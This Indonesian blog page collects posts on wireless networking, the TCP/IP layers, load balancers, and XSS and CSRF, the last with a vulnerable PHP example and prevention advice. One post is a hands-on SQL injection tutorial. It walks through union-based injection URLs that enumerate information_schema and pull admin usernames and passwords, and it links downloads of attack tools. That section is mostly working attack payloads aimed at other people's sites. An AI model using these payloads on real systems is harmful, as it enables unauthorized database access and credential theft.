Tampilkan postingan dengan label jaringan komputer. Tampilkan semua postingan
Tampilkan postingan dengan label jaringan komputer. Tampilkan semua postingan

Apa itu Wireless atau wireless Network


Wireless atau wireless network merupakan sekumpulan komputer yang saling terhubung antara satu dengan lainnya sehingga terbentuk sebuah jaringan komputer dengan menggunakan media udara/gelombang sebagai jalur lintas datanya. Pada dasarnya wireless dengan LAN merupakan sama-sama jaringan komputer yang saling terhubung antara satu dengan lainnya, yang membedakan antara keduanya adalah media jalur lintas data yang digunakan, jika LAN masih menggunakan kabel sebagai media lintas data, sedangkan wireless menggunakan media gelombang radio/udara. Penerapan dari aplikasi wireless network ini antara lain adalah jaringan nirkabel diperusahaan, atau mobile communication seperti handphone, dan HT.


SILAHKAN COPY JIKA ARTIKEL INI MENARIK NAMUN HARAP CANTUMKAN SUMBERNYA

protokol-protokol yang terdapat pada protocol TCP/IP


Nama : Fajar Noverdian
Nim   : 1052346

Jelaskan protokol-protokol yang terdapat pada protocol TCP/IP??

Protokol TCP/IP di modelkan dalam 4 lapisan/layer yaitu :

1. Layer Application
Layer Application terletak di atas pada model TCP/IP konsep empat layer dan merupakan tempat program software memperoleh akses ke jaringan. Layer ini kira-kira sesuai dengan layer Session, layer Presentation, dan layer Application pada model OSI. Beberapa layanan dan utiliti TCP/IP beroperasi pada Layer Application. Layanan dan utiliti tersebut meliputi:
  • HyperText Transfer Protocol (HTTP). HTTP adalah protocol yang dipakai untuk mayoritas komunikasi World Wide Web. Windows 2003 menghadirkan Internet Explorer sebagai client HTTP dan Internet Information Services (IIS) sebagai server HTTP.
  • File Transfer Protocol (FTP). FTP adalah suatu layanan Internet yang mentransfer file-file dari satu komputer ke komputer lain. Internet Explorer dan FTP utiliti yang termasuk command-line bertindak sebagai client FTP. IIS menyediakan server FTP.
  • Simple Mail Transfer Protocol (SMTP). SMTP merupakan suatu protocol yang dipakai server mail untuk mentransfer e-mail. IIS dapat mengirimkan pesan-pesan dengan memakai protocol SMTP.
  • Telnet. Telnet adalah suatu protocol yang menyamai terminal yang dapat dipakai untuk me-logon ke host jaringan yang jauh. Telnet menawarkan para pemakai suatu kapabilitas dalam mengoperasikan program-program secara jauh dan memudahkan administrasi yang jauh. Telnet secara praktis memang disediakan untuk semua sistem operasi dan mengurangi integrasi dalam lingkungan jaringan yang heterogen. Windows 2003 memberikan baik server maupun client Telnet.
  • Domain Name System (DNS). DNS merupakan seperangkat protocol dan layanan pada suatu jaringan TCP/IP yang membolehkan para pemakai jaringan untuk mempergunakan nama-nama hierarki yang sudah dikenal ketika meletakkan host ketimbang harus mengingat dan memakai alamat IP-nya. DNS sangat banyak dipakai di Internet dan pada kebanyakan perusahaan pribadi dewasa ini. Saat Anda memakai Web browser, aplikasi Telnet, utiliti FTP, atau utiliti TCP/IP mirip lainnya di Internet, maka Anda mungkin sedang memakai sebuah server DNS. Windows 2003 menyediakan juga server DNS.
  • Simple Network Management Protocol (SNMP).  SNMP memungkinkan Anda untuk mengelola node jaringan seperti server, workstation, router, bridge, dan hub dari host sentral. SNMP dapat *** dipakai untuk mengonfigurasi device yang jauh, memantau unjuk kerja jaringan, mendeteksi kesalahan jaringan atau akses yang tidak cocok, dan mengaudit pemakaian jaringan.
2. Network Application API
TCP/IP Microsoft menyediakan dua interface bagi aplikasi-aplikasi jaringan untuk memakai layanan-layanan stack protocol TCP/IP:
  • WinSock. Implementasi Windows 2003 sangat banyak memakai Socket API (application programming interface).  Socket API adalah mekanisme standar untuk mengakses layanan-layanan datagram dan session pada TCP/IP.
  • NetBIOS.  Suatu API standar yang dipakai sebagai suatu mekanisme inter-process communication (IPC) di lingkungan Windows. Meskipun NetBIOS dapat dipakai untuk menyediakan koneksi standar ke protocol-protocol yang mendukung layanan-layanan penyampaian pesan dan penamaan NetBIOS, misalnya TCP/IP dan NetBEUI, namun NetBIOS disertakan di dalam Windows 2003 terutama sekali untuk mendukung aplikasi-aplikasi peninggalan.
3. Layer Transport
Protocol-protocol transport menghadirkan sesi komunikasi di antara komputer-komputer dan menentukan tipe layanan transport entah berorientasi koneksi (TCP) ataupun berorientasi datagram yang tanpa koneksi (UDP). TCP menyajikan komunikasi berorientasi koneksi yang dapat diandalkan untuk aplikasi-aplikasi yang secara khusus mentransfer sejumlah besar data pada suatu waktu. TCP juga dipakai untuk aplikasi-aplikasi yang memerlukan pengakuan bagi data yang diterima. Namun demikian, UDP menyediakan komunikasi tanpa koneksi dan tidak menjamin mampu mengirimkan paket.
Aplikasi-aplikasi yang memakai UDP secara khusus mentransfer sejumlah kecil data pada suatu waktu. Pengiriman data yang dapat diandalkan merupakan tanggung jawab aplikasi. Layer Transport pada model DOD kira-kira sesuai dengan Layer Transport pada model OSI.
4. Layer Internet
Protocol-protocol Internet meng-encapsulate paket-paket menjadi datagram Internet dan mengoperasikan semua algoritma routing yang diperlukan. Fungsi-fungsi routing yang dikerjakan Layer Internet memang dibutuhkan untuk memungkinkan host meng-interoperate dengan jaringan-jaringan lain. Layer Internet kira-kira sesuai dengan Layer Network pada model OSI. Lima protocol yang diimplemen-tasikan pada layer ini:
  • Address Resolution Protocol (ARP), yang menentukan alamat hardware pada host.
  • Reverse Address Resolution Protocol (RARP), yang menyediakan resolusi alamat kebalikan pada host yang menerima. (Walaupun Microsoft tidak mengimplementasikan protocol RARP, namun bisa ditemukan sistem-sistem milik vendor lain dan dicantumkan juga di sini demi kelengkapan).
  • Internet Control Message Protocol (ICMP), yang mengirimkan pesan-pesan kesalahan ke IP ketika terjadi problem.
  • Internet Group Management Protocol (IGMP), yang menginformasikan router tentang ketersediaan anggota-anggota pada grup multicast.
  • Internet Protocol (IP), yang mengalamatkan dan meroute paket-paket.
5. Layer Interface Network
Model yang paling mendasar adalah Layer Interface Network. Masing-masing tipe local area network (LAN), tipe metropolitan area network (MAN), tipe WAN, dan tipe dial-up, misalnya Ethernet, Token Ring, Fiber Distributed Data Interface (FDDI), dan ARCnet, mempunyai persyaratan yang berbeda untuk pengkabelan, pembuatan sinyal, dan penyandian data. Layer Interface Network menetapkan persyaratan yang ekuivalen dengan Layer Data Link dan Layer Physical pada model OSI. Layer Interface Network bertanggung jawab untuk mengirimkan dan menerima frame, yang merupakan paket-paket informasi yang ditransmisikan pada suatu jaringan sebagai suatu unit tunggal. Layer Interface Network meletakkan frame pada jaringan dan mengeluarkan frame dari jaringan.




SILAHKAN COPY JIKA ARTIKEL INI MENARIK NAMUN HARAP CANTUMKAN SUMBERNYA

Tugas Jaringan Nirkabel


Jaringan Nirkabel adalah sistem yang digunakan dalam komunikasi antar sistem komputer dan berbagai macam peralatan teknologi informasi yang tidak menggunakan kabel yang menghububfkan antara peralatan dengan lainnya.

Wireless LAN menyediakan beberapa bandingan produktivitas, keunggulan dan keuntungan biaya terhadap jaringan kabel tradisional, yaitu:

1. Mobilitas
Sistem Wireless LAN dapat menyediakan pengaksesan informasi real time dimana saja bagi pengguna LAN selama berada di dalam organisasinya. Mobilitas ini mendukung mobilitas dan kesempatan layanan yang tidak dapat disediakan oleh jaringan kabel.

2. Kecepatan dan Kesederhanaan Instalasi (Pemasangan)
Sistem wireless LAN dapat dipasang dengan cepat dan mudah serta dapat mengurangi penggunaan kabel yang melalui tembok dan atap.

3. Fleksibiltas Pemasangan
Teknologi Wireless dapat menyediakan jaringan dimana kabel tidak memungkinkan untuk dipasang.

4. Pengurangan Anggaran Biaya
Meskipun investasi awal yang dibutuhkan untuk perangkat keras wireless LAN dapat lebih tinggi dari biaya perangkat LAN kabel, tapi biaya instalasi keseluruhan serta biaya penggunaan dapat diperkecil. Keuntungan biaya jangka panjang akan sangat besar di lingkungan dinamis dimana sering terjadinya perpindahan dan perubahan.

5. Kemampuan Jangkauan
Sistem Wireless LAN dapat dipasang pada topologi yang bermacam-macam untuk mendapatkan kebutuhan instalasi dan pemakaian yang sesuai. Konfigurasi jaringan secara mudah dapat diubah dari jaringan peer-to-peer untuk jumlah pengguna yang sedikit menuju jaringan infrastruktur yang padat mencapai ribuan pengguna yang dapat menjelajah dengan jangkauan yang luas.

Long-range nirkabel
Jaringan nirkabel 3G (juga pengembangannya, 3.5G) sekarang menjadi standar koneksi di seluruh dunia. Kurang dari lima tahun, teknologi 3G telah menjadi sangat murah. Teknologi 4G/LTE (Long Term Evolution) kemudian mulai digulirkan. Beberapa perusahaan telah mampu menyediakan bandwidth yang menjanjikan kecepatan serupa dengan broadband sekarang kini. Tunggulah 3 hingga 4 tahun lagi, maka teknologi 4G akan menjadi sangat murah, membuka semua pintu layanan nirkabel.





 


Mid-range nirkabel
Ini adalah konektivitas nirkabel yang dinamis paling stabil dan berkembang dengan cepat. Masyarakat mengenalnya dengan nama Wi-Fi. Bandwidth nirkabel yang sangat besar tetapi berjangkauan terbatas. Akan tetapi, orang-orang menggunakan mid-range nirkabel memang untuk stabilitasnya, menjadikannya platform untuk beragam kegiatan yang memerlukan kelancaran konektivitas. Maka di masa depan, di setiap tempat, Anda bisa menemukan koneksi nirkabel ini. Selain makin banyak kantor dan kafe memasangnya, target-target ambisisus pemerintah daerah kini berupaya menyediakan koneksi nirkabel jarak menengah di tiap titik wilayah.

Near-range nirkabel
Nirkabel jarak dekat seperti Bluetooth telah akrab dengan kita sejak lama. Kini, teknologi bernama Zigbee, RFID (Radio Frequency Identification), atau NFC (Near Field Communication) mulai bermunculan. NFC mulai diadopsi dalam sistem pembayaran ponsel. Bahkan di negara yang masih dilanda peperangan, seperti Afghanistan, uang seluler telah berkembang dengan pesat. Wal-mart sendiri telah meluncurkan RFID untuk memunculkan stok persediaan toko pada pelanggan terdaftar, begitu mereka memasuki toko. Snap-On bahkan menciptakan alat yang mampu memancarkan dan menangkap pancaran nirkabel dari peralatan-peralatan mahal pabrik pesawat.

Konektivitas nirkabel yang murah telah memicu lonjakan penciptaan perangkat tanpa sentuhan tangan manusia. Cisco memprediksi bahwa pada tahun 2020 akan ada 50 miliar perangkat yang tersambung melalui teknologi nirkabel, jauh melebihi populasi manusia. Dan konektivitas nirkabel ini tidak lagi terpasang hanya untuk ponsel atau komputer, tetapi semua objek yang diperlukan untuk “tersambung”.
Kesimpulannya :


SILAHKAN COPY JIKA ARTIKEL INI MENARIK NAMUN HARAP CANTUMKAN SUMBERNYA

about XSS dan CSRF

Dunia web-developing saat ini sudah berkembang sangat jauh dibanding masa dulu. Banyak aplikasi yang bagus yang terus dikembangkan untuk diimplementasikan melalui interface web. Banyaknya perkembangan dalam dunia web tidak hanya berdampak kepada end-user dan developer, tetapi juga oleh orang-orang yang jahat dan iseng untuk mengganggu kenyamanan orang lain selama menikmati dunia maya.
Beberapa waktu lalu saya sudah pernah menceritakan mengenai SQL Injection yang merupakan salah satu celah dalam pengembangan situs web. SQL Injection sendiri merupakan celah yang mengakibatkan penyusup dapat menyusupkan kode SQL ke server database yang ada.
Saat ini seringkali di dunia web-developing kita mendengar juga kata XSS dan CSRF. Sebenarnya apa yang dimaksud dengan XSS dan CSRF? Kita akan membahas satu persatu.
XSS merupakan singkatan dari Cross-site Scripting. Sedangkan CSRF (dibaca Sea-surf) atau XSRF merupakan singkatan dari Cross-site Request Forgery. Berbeda dengan SQL Injection yang dieksekusi di server, XSS dan CSRF digunakan dengan memanfaatkan celah yang ada dalam browser saat menampilkan halaman web.

Cross-site Scripting

Bagi beberapa orang, untuk mengerti mengenai XSS agak sulit. Pengetahuan mengenai HTML dan bahasa pemrograman web diperlukan agar seseorang dapat mengerti XSS ini karena memang XSS memanfaatkan HTML serta kecerobohan programmer dalam pengolahan HTML melalui bahasa pemrograman web yang digunakan. Oleh sebab itu XSS seringkali juga disebut HTML Injection.
Beberapa programmer web pemula umumnya tidak terlalu memperhatikan bahaya XSS sehingga saat ini banyak celah XSS yang bisa ditemukan pada situs web yang dirancang. XSS pun cenderung tampak “kalah pamor” dibanding dengan SQL Injection sehingga tidak banyak orang yang memerhatikan hal ini.

Contoh implementasi XSS

Kita lihat baris kode berikut:
<html>
<head>
  <title>XSS</title>
</head>
<body>
  <?php if($_GET['keyword']) : ?>
   <h1><?php echo $_GET['keyword']; ?></h1>
  <?php endif; ?>
<form action="xss.php">
  <label>Masukkan kata yang mau dicari: <input name="keyword" /></label>
</form>
</body>
</html>
Misalkan penggalan kode di atas digunakan untuk mencari suatu kata dalam suatu dokumen. Kata yang digunakan dalam pencarian akan ditampilkan setelah disubmit. Ketika baris kode ini dijalankan, maka akan tampil seperti di bawah ini:
Gambar 1: Tampilan asli dari website.
Anggaplah kita memasukkan sebuah kata untuk dicari yaitu “lorem ipsum”:
Gambar 2: Dengan kata
Pada gambar di atas, kata yang dicari akan ditampilkan sebagai header atau judul. Sekarang kita masukkan kata “<img src=http://a.wordpress.com/avatar/unknown-48.jpg />” ke dalam box yang tersedia. Maka ketika di-submit, tampilan dari halaman itu akan berubah menjadi
Gambar 3: Gambar setelah kode
Secara logika bila yang dimasukkan ke dalam field adalah keyword “<img src=http://a.wordpress.com/avatar/unknown-48.jpg />” maka yang akan tampil adalah keyword itu juga bukan? Tapi dalam contoh di atas ternyata yang muncul adalah gambar dari suatu website.
Gambar tersebut bisa muncul karena pada baris 6 kode PHP di atas, keyword yang dimasukkan otomatis dianggap sebagai bagian dari HTML yang berfungsi untuk menampilkan gambar dari website tersebut. Bahkan bila halaman di atas menggunakan metode GET untuk menampilkan halamannya, cukup dengan menulis URL webpage tersebut ditambah dengan query string “keyword”. Misalnya:
http://localhost/xss.php?keyword=%3Cimg+src%3Dhttp %3A%2F%2Fa.wordpress.com%2Favatar%2Funknown-48.jpg+%2F%3E
Dengan menggunakan URL tersebut, korban yang membukanya akan menampilkan halaman yang sama dengan gambar ketiga di atas. Walaupun kebanyakan webserver dan browser membatasi jumlah karakter dalam URL yang dapat diterima dan dikirim, tapi tetap saja hal ini membuka peluang bagi orang-orang yang tidak bertanggung jawab untuk menampilkan “sebuah halaman web palsu” melalui kelemahan ini.

Pencegahan XSS

Lalu bagaimana agar hal ini tidak terjadi? Pada dasarnya terdapat 2 metode untuk mencegah XSS. Pertama adalah dengan melakukan escape sebelum output ditampilkan. Cara ini adalah cara termudah untuk diimplementasikan tapi sangat rentan terlewatkan karena kecerobohan programmer.
Pada contoh di atas, programmer harus melakukan escape terhadap keyword yang akan ditampilkan. Escape di sini agak berbeda dengan escape yang saya jelaskan di SQL Injection. Di sini kita akan mengubah entitas atau tanda HTML khusus agar tidak dianggap sebagai kode HTML. Entitas tersebut adalah:
  • < menjadi &lt;
  • > menjadi &gt;
  • & menjadi &amp;
  • ” menjadi &quot;
  • ‘ menjadi &#0039; atau &apos;
Masih banyak entitas lain dalam HTML yang dapat digunakan, akan tetapi kelima entitas di atas lah yang paling berperan penting agar ekskusi XSS dapat terjadi.
Dalam PHP, kita dapat menggunakan htmlspecialchars($string) untuk melakukan escape terhadap entitas di atas. Sebagai contoh, kita akan perbaiki penggalan kode di atas menjadi seperti di bawah ini:
<html>
<head>
  <title>XSS</title>
</head>
<body>
  <?php if($_GET['keyword']) : ?>
   <h1><?php echo htmlspecialchars($_GET['keyword']); ?></h1>
  <?php endif; ?>
<form action="xss.php">
  <label>Masukkan kata yang mau dicari: <input name="keyword" /></label>
</form>
</body>
</html>
Kemudian kita jalankan lagi halaman tersebut dengan memasukkan input keyword “<img src=http://a.wordpress.com/avatar/unknown-48.jpg />”, dan hasilnya menjadi seperti di bawah ini:
Gambar 4: Setelah dilakukan escape
Di atas, kode HTML yang “disuntikkan” telah di-escape sehingga ditampilkan seperti seharusnya sehingga keyword di atas tidak lagi berbahaya.
Metode kedua untuk mencegah terjadinya XSS adalah melakukan stripping atau menghilangkan tag-tag HTML (umumnya menggunakan regular expression). Selain itu juga dapat dilakukan dengan menghilangkan entitas < dan > agar input tidak dikenali sebagai HTML saat di-output kembali.
Metode kedua memiliki kekurangan yaitu tidak dapat menampilkan input yang asli karena telah dilakukan penghapusan atau pemotongan terhadapa beberapa tanda atau kata yang belum tentu berbahaya. Selain itu cara ini juga lebih sulit daripada metode pertama karena programmer harus melakukan list terhadap tag-tag HTML yang dianggap berbahaya dan juga harus mengerti mengenai penggunaan regular expression.

Jenis XSS

Terdapat 3 tipe XSS. Tipe 0 merupakan tipe yang dapat mengakibatkan eksekusi kode secara lokal sehingga penyerang dapat mengendalikan komputer korban secara tidak langsung melalui file-file yang sudah disembunyikan. Kebanyakan browser saat ini sudah menutup celah ini dengan melarang eksekusi kode lokal dari situs yang online.
Tipe 1 merupakan tipe XSS yang tidak berlanjut atau non-persistence. Penyerang umumnya memanfaatkan form atau metode GET yang ada dalam protokol HTTP. Kode “disuntikkan” melalui URL yang dijalankan di address bar browser tersebut. Kode yang disuntikkan tidak disimpan dalam database sehingga XSS yang dijalankan tidak bersifat lanjutan karena korban harus mengikuti URL yang terinfeksi atau melakukan instruksi yang ada untuk membuka XSS. Contoh yang ada di atas adalah contoh tipe 1.
Tipe 2 merupakan tipe XSS yang tereksekusi secara berlanjut atau persistence. Penyerang memanfaatkan database untuk menyimpan kode berbahaya sehingga ketika user lain membuka halaman yang akan menampilkan kode tersebut akan tertipu dengan XSS. Cara ini umumnya digunakan pada forum diskusi ataupun blog dan dapat menyebabkan banyak korban bila tidak ditangani dengan baik.

Cross-site Request Forgery

Tidak berbeda jauh dengan XSS. CSRF merupakan singkatan Cross-site Request Forgery. Sama-sama menggunakan metode lintas situs. Hanya saja CSRF ini akan lebih mudah dimengerti.
Ketika kita membuka sebuah situs, browser secara otomatis akan mengirim request atau permintaan kepada web-browser. Begitu pula ketika browser menemukan kode HTML yang meminta file agar didownload ke browser. Kode HTML <img>, <object>, <link> dan <script> yang mencantumkan sebuah link ke objek yang akan di-request otomatis oleh browser ke web browser. Contohnya adalah <img src=”http://www.example.com/gambar.jpg” alt=”gambar” /> yang bila dimasukkan ke dalam source HTML, maka otomatis web-browser akan mengirimkan request untuk gambar tersebut.
Bila kode tersebut diubah menjadi <img src=”http://www.example.com/logout.php” />, browser tetap akan menganggap bahwa terdapat gambar atau image yang harus didownload sehingga browser pun mengirim request kepada web-server untuk halaman itu. Pada akhirnya seolah-olah user melakukan logout dari situs tersebut.
Sebuah contoh lagi, bila terdapat situs bank www.bank-abc.com dan terdapat suatu halaman situs dengan kode <img src=”http://www.bank-abc.com/transfer.php?dari=Alice&jumlah=50000000&untuk=Malory” />. Ketika Alice membuka halaman tersebut dan kebetulan Alice sedang login atau memilki sesi di www.bank-abc.com, maka transfer uang akan dilakukan ke rekening Malory tanpa diketahui oleh Alice. Hanya saja saat ini tidak banyak bank yang menerapkan transfer uang melalui metode GET seperti di atas karena cukup berbahaya.
CSRF banyak digunakan pada forum diskusi maupun tempat lain yang mendukung penggunaan tag <img>, <object>, <link> dan <script>. Akan tetapi lebih banyak situs yang hanya memperbolehkan tag <img>. Cara untuk mencegah terjadinya serangan CSRF adalah membatasi ekstensi yang dapat digunakan sesuai dengan tag yang ada. Misalnya .jpg, .gif dan .png untuk tag <img>, .js untuk <script> dan sebagainya. Kelemahan dari metode ini adalah bahwa pada kenyataannya file yang terdapat di web tidak selalu sesuai dengan ekstensi yang ada. Seringkali saat ini untuk menampilkan gambar secara dinamis, developer menggunakan .php atau .asp sehingga gambar dapat di-generate dengan kode yang ada.
Cara terbaik justru datang dari sisi user dimana akan lebih baik kalau setiap kali selesai menggunakan suatu situs web melalui proses login, user tersebut juga harus melakukan logout. Developer juga harus bertanggung jawab dengan membuat link untuk logout atau mengingatkan user untuk logout bila selesai menggunakan situsnya atau menerapkan sesi terbatas.

Kesimpulan

CSRF dan XSS memanfaatkan celah dari kecerobohan programmer dan developer. Selain itu unsur ketidaktahuan dari sisi user juga mengakibatkan tipe serangan ini mudah dilakukan.

berbagai sumber 

…Semoga Bermanfaat… !.Semoga Sukses.! .send komentar ya.

mau tau apa itu SQL Injection

 Apa itu SQL Injection?

SQL Injection merupakan sebuah teknik hacking dimana

seorang penyerang dapat meng insert perintah-perintah SQL

melalui url untuk dieksekusi oleh database.

Penyebab utama dari celah ini adalah variable yang kurang

di filter :


id=$id;……. >



Got Error

Hal pertama yang harus kamu lakukan adalah mengetahui

apakah situs tersebut terkena celah SQL Injection atau

tidak, yaitu dengan membuat sebuah error dengan menambahkan

karakter ‘ setelah url.

Example : http://situsq.com/berita.php?id=14’

Apabila terlihat pesan error seperti ini :

You have an error in your SQL syntax.You have an error in your SQL syntax; check the

manual that corresponds to your MySQL server version for the right syntax to use near ”’

at line 1

Maka bisa dipastikan situs tersebut terdapat celah SQL

Injection…

Next Step

Nah setelah mengetahui bahwa di situs tersebut terdapat

celah SQL Injection maka yang harus kamu lakukan

selanjutnya adalah menghitung jumlah table yang ada di

dalam databasenya (tenang aja gak pake matematika kok :P)

caranya dengan perintah “order by”

Example : http://situsq.com/berita.php?id=-14+order+by+10/*

Uuppss… mengapa “-14”? karena -14 bukanlah id berita yang

valid… trus 10, angka buat apaan tuh? Hhmm… untuk

mengetahui jumlah tabelnya pertama-tama kita harus menebak

terlebih dahulu apabila muncul pesan error seperti ini :

Unknown column ‘10′ in ‘order clause’

berarti jumlah tebakan kita salah, but klo situsnya muncul

seperti biasa berarti jumlah tebakan kita sudah benar :D…

trus karakter “+” dan “/*” gunanya buat apa?

+ <=- sebagai penghubung perintah

Atau dapat juga diganti dengan :

/**/

%20

Sedangkan karakter “/*” adalah karakter penutup perintah

sql atau dapat juga diganti dengan :



Nah klo semuanya udah jelas sekarang kita lanjut pake

union… buat mengetahui angka berapa yang show

Example : http://situsq.com/berita.php?id=-

14+union+select+1,2,3,4,5,6,7,8,9,10/*

Nah apabila muncul angka yang tadinya gak ada dihalaman

tersebut berarti itulah angka yang show… nah angka yang

show itulah yang nantinya bakalan kita injek (bukan pake

sepatu)… pertama kita cari tau version mysql yang dia pake,

apabila tadi yang muncul adalah angka 4 maka kita akan pake

angka 4

Example : http://situsq.com/berita.php?id=-

14+union+select+1,2,3,version(),5,6,7,8,9,10/*

Nah klo misalnya yang keluar ada angka 5 berarti situs

tersebut memakai database versi 5… nah klo udah tau

versinya sekarang kita cari tahu nama databasenya caranya

cukup ganti “version()” tadi dengan “database()”… Next

seumpamanya tadi versi 5 berarti kita bisa pake perintah

information_schema untuk melihat tabel & kolom yang ada di

dalam databasenya.

Example : http://situsq.com/berita.php?id=-

14+union+select+1,2,3,table_name,5,6,7,8,9,10+from+informat

ion_schema.tables/*

Selanjutnya kita harus menambahkan LIMIT di akhir url untuk

melihat tabel-tabel yang lainnya…

Example : http://situsq.com/berita.php?id=-

14+union+select+1,2,3,table_name,5,6,7,8,9,10+from+informat

ion_schema.tables+limit+0,1/*

Selanjutnya kamu tinggal merubah angka 0,1 menjadi 1,1 dan

2,1 begitu seterusnya sampai kamu menemukan tabel-tabel

penting yang ada dalam database seperti “tbl_admin,

tbl_user, users dll”… klo dah keliatan semua s’lanjutnya

kita akan melihat kolom-kolom yang ada dalam tabel yang

kita dapatkan tadi caranya hampir sama dengan cara mencari

tabel tadi.

Example : http://situsq.com/berita.php?id=-

14+union+select+1,2,3,column_name,5,6,7,8,9,10+from+informa

tion_schema.columns/*

Setelah itu mmenggunakan limit 0,1 dan seterusnya

Example : http://situsq.com/berita.php?id=-

14+union+select+1,2,3,column_name,5,6,7,8,9,10+from+informa

tion_schema.columns+limit+0,1/*

Sehingga kita menemukan kolom-kolom seperti

“username,password,email dll” atau kamu bisa mencari tabel

user dengan menambahkan perintah where table_name=’user’/*

Example : http://situsq.com/berita.php?id=-

14+union+select+1,2,3,column_name,5,6,7,8,9,10+from+informa

tion_schema.columns+where+table_name=’user’/*

Biasanya untuk lebih memudahkan menemukan tabel dan kolom

saya sering menggunakan sebuah tool yang bernama

schemafuzz.py tetapi setidaknya kamu harus mengerti cara

diatas terlebih dahulu karena tool disini hanya alat Bantu

saja…




Got Password

Nah,,, disinilah inti dari SQL Injection… yaitu mendapatkan
password admin… apabila tadi kamu telah menemukan tabel
admin yang bernama “tbl_admin” dan kolom-kolomnya seperti
“username,password” dll sekarang untuk melihat isi dari
kolom username dan password tersebut kamu akan menggunakan
concat.
Example : http://situsq.com/berita.php?id=-
14+union+select+1,2,3,concat(username,0x3a,password)
,5,6,7,8,9,10+from+tbl_admin/*
0x3a <=- adalah pemisah kolom username dan password agar
dapat dibedakan yang mana password dan yang mana username
atau dapat juga diganti dengan char(58).
Sekarang dah dapat passwordnya??? Tunggu apalagi?? Lapor
ama admin… xixixixi

SQL Injection Tools

Untuk mempermudah proses SQL Injection kamu dapat
menggunakan beberapa tools seperti dibawah ini :
SQLNinja
http://rapidshare.com/files/141976022/sqlninja-0.2.3.tgz
Schemafuzz
http://rapidshare.com/files/141977412/schemafuzz.py
SQLDataExt
http://rapidshare.com/files/141977790/dataext.pl
SQL Power Injection
http://rapidshare.com/files/141978979/sqlpowerinjector.xpi
Blindfuzz
http://rapidshare.com/files/141979105/blindfuzz.py


berbagai sumber :

…Semoga Bermanfaat… !.Semoga Sukses.! .send komentar ya.

Load balancer apa itu


Load Balancer adalah sebuah hardware yang digunakan untuk membagi beban kerja kepada 2 atau lebih komputer, server , terminal, CPU, harddisk, dan peralatan komputasi lainnya untuk mengoptimalkan penggunaan sistem dan memaksimalkan kemampuan dari semua peralatan yang terhubung ke Load Balancer.
Load Balancer dapat digunakan untuk berbagai keperluan di dunia komputer, namun pada umumnya digunakan untuk menghubungkan beberapa server secara bersamaan melalui koneksi internet yang sama untuk menjaga ketersediaan layanan berbasiskan web dan menjaga konsistensi ketersediaan koneksi kepada semua user yang mengakses layanan server tersebut. Umumnya banyak di terapkan sebagai web server load balancer, namun juga digunakan untuk network access load balancer.

Bagaimana cara kerja Load Balancer ?

Load Balancer menggunakan beberapa peralatan yang sama untuk menjalankan tugas yang sama. Hal ini  memungkinkan pekerjaan dilakukan dengan lebih cepat dibandingkan apabila dikerjakan oleh hanya 1 peralatan saja dan dapat meringkankan beban kerja peralatan, dan mempercepat waktu respons. Load Balancer bertindak sebagai penengah diatara layanan utama dan pengguna, dimana layanan utama merupakan sekumpulan server / mesin yang siap melayani banyak pengguna.
Disaat Load Balancer menerima permintaan layanan dari user, maka permintaan tersebut akan di teruskan ke server utama. Biasanya Load Balancer dengan pintar dapat menentukan server mana yang memiliki load yang lebih rendah dan respons yang lebih cepat. Bahkan bisa menghentikan akses ke server yang sedang mengalami masalah dan hanya meneruskannya ke server yang dapat memberikan layanan. Hal ini salah satu kelebihan yang umumnya dimiliki load balancer, sehingga layanan seolah olah tidak ada ganggunan di mata pengguna.
Penggunaan Load Balancer
Pada umumnya Load Balancer digunakan oleh perusahaan / pemilik layanan yang menginginkan layanannya selalu tersedia walaupun secara kenyataan terdapat kendala yang membuat layanan tidak dapat diakses. Misalanya untuk layanan web server / email server. Dengan load balancer, apabila ada 2 mail server dengan konfigurasi dan tugas yang sama, maka load balancer akan membagi beban ke 2 mail server tersebut. Dan apabila salah satu Mail server tersebut down/tidak dapat diakses/ mengalami gangguan, maka Mail server yang lain dapat terus melayani layanan yang diakses oleh user.
Untuk jaringan komputer, Load Balancer digunakan di ISP / Internet provider dimana memungkinkan tersedianya akses internet selama 24x7x365 tanpa ada down time. Tentu hal ini yang diinginkan oleh pelanggan yang menggunakan layanan akses internet ISP tersebut. ISP/Provider hanya perlu memiliki 2 Link internet yang memiliki jalur berbeda, agar disaat salah satu link down, masih ada 1 link yang dapat melayani akses internet ke pelanggannya. Dan ISP menggunakan Load Balancer untuk membagi beban akses internet tersebut sehingga kedua Link Internet tersebut maximal penggunaannya dan beban terbagi dengan baik.
Kelebihan Load Balancer
Dengan mengerti kegunaan Load Balancer maka dapat disimpulkan bahwa Load Balancer mutlak digunakan bila menginginkan ketersediaan layanan yang terus menerus non stop tanpa gangguan, walaupun infrastruktur layanan utama sedang mengalami gangguan, karena Load Balancer dapat meminimalisir gangguan tersebut tanpa diketahui oleh user/pengguna layanan.
Beberapa kelebihan utamanya yaitu :
  1. Dapat membagi Load pekerjaan secara merata kepada server layanan utama
  2. Sebagai pintu masuk utama kepada layanan yang ada
  3. Meminimalisir Down Time dari layanan dan menyediakan ketersediaan layanan 24x7x365
  4. Mempercepat akses layanan, karena dapat mengarahkan permintaan layanan ke server yang memiliki respon cepat.
Apakah anda sudah menggunakan Load Balancer pada layanan internet akses anda ?
…Semoga Bermanfaat… !.Semoga Sukses.! .send komentar ya.

Masa Depan Wireless Internet atau jaringan nirkabel


Sekitar tahun 1992-an Internet Indonesia dibangun berbasis teknologi paket radio kecepatan 1200bps. Memang sangat perlahan akan tetapi teknologi Internet radio (wireless) telah membuktikan diri-nya sebagai alternatif yang tidak dapat dibuat main-main. Tulisan ini agak berbau teknis, dengan tujuan teman-teman pembaca memperoleh gambaran bahwa membangun sendiri jaringan wireless Internet berkecepatan tinggi 2-11Mbps bukan sesuatu yang mustahil – bakan merupakan hal yang mudah & jauh lebih baik daripada infrastruktur telkom yang ada saat ini.

